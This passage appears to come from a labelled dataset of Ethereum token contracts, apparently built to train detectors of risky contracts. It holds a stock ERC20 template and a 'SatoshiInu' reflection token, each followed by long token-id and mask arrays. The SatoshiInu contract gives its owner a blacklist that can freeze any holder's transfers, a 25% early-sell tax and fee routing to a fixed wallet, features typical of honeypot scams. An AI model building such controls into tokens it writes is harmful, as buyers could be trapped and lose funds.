1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-03-31
*/
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'FIXED' 'Example Fixed Supply Token' token contract
//
// Symbol : FIXED
// Name : Example Fixed Supply Token
// Total supply: 1,000,000.000000000000000000
// Decimals : 18
//
// Enjoy.
//
// (c) BokkyPooBah / Bok Consulting Pty Ltd 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract FixedSupplyToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function FixedSupplyToken() public {
symbol = "HBS";
name = "HashBrown Swap";
decimals = 18;
_totalSupply = 1000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
6021,
1011,
2861,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2324,
1025,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
1005,
4964,
1005,
1005,
2742,
4964,
4425,
19204,
1005,
19204,
3206,
1013,
1013,
1013,
1013,
6454,
1024,
4964,
1013,
1013,
2171,
1024,
2742,
4964,
4425,
19204,
1013,
1013,
2561,
4425,
1024,
1015,
1010,
2199,
1010,
2199,
1012,
2199,
8889,
8889,
8889,
8889,
8889,
8889,
8889,
2692,
1013,
1013,
26066,
2015,
1024,
2324,
1013,
1013,
1013,
1013,
5959,
1012,
1013,
1013,
1013,
1013,
1006,
1039,
1007,
8945,
19658,
22571,
9541,
24206,
1013,
8945,
2243,
10552,
13866,
2100,
5183,
2418,
1012,
1996,
10210,
11172,
1012,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
3647,
8785,
2015,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1007,
1025,
1039,
1027,
1037,
1011,
1038,
1025,
1065,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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ity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SatoshiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "SatoshiInu";
string private constant _symbol = "SatoshiInu";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x96F841B0bbA86023C7Cc6f35ba1aCFf236a51f2b);
_feeAddrWallet2 = payable(0x96F841B0bbA86023C7Cc6f35ba1aCFf236a51f2b);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function originalPurchase(address account) public view returns (uint256) {
return _buyMap[account];
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() {
_maxTxAmount = maxTransactionAmount;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isBuy(from)) {
// TAX SELLERS 25% WHO SELL WITHIN 24 HOURS
if (_buyMap[from] != 0 &&
(_buyMap[from] + (24 hours) >= block.timestamp)) {
_feeAddr1 = 1;
_feeAddr2 = 25;
} else {
_feeAddr1 = 1;
_feeAddr2 = 8;
}
} else {
if (_buyMap[to] == 0) {
_buyMap[to] = block.timestamp;
}
_feeAddr1 = 1;
_feeAddr2 = 8;
}
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000000 * 10 ** 9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function updateMaxTx (uint256 fee) public onlyOwner {
_maxTxAmount = fee;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2340,
1011,
2459,
1008,
1013,
1013,
1008,
1008,
1008,
22150,
3390,
1008,
1008,
20251,
6182,
2378,
2226,
1008,
1008,
1008,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
1008,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
5478,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
24856,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
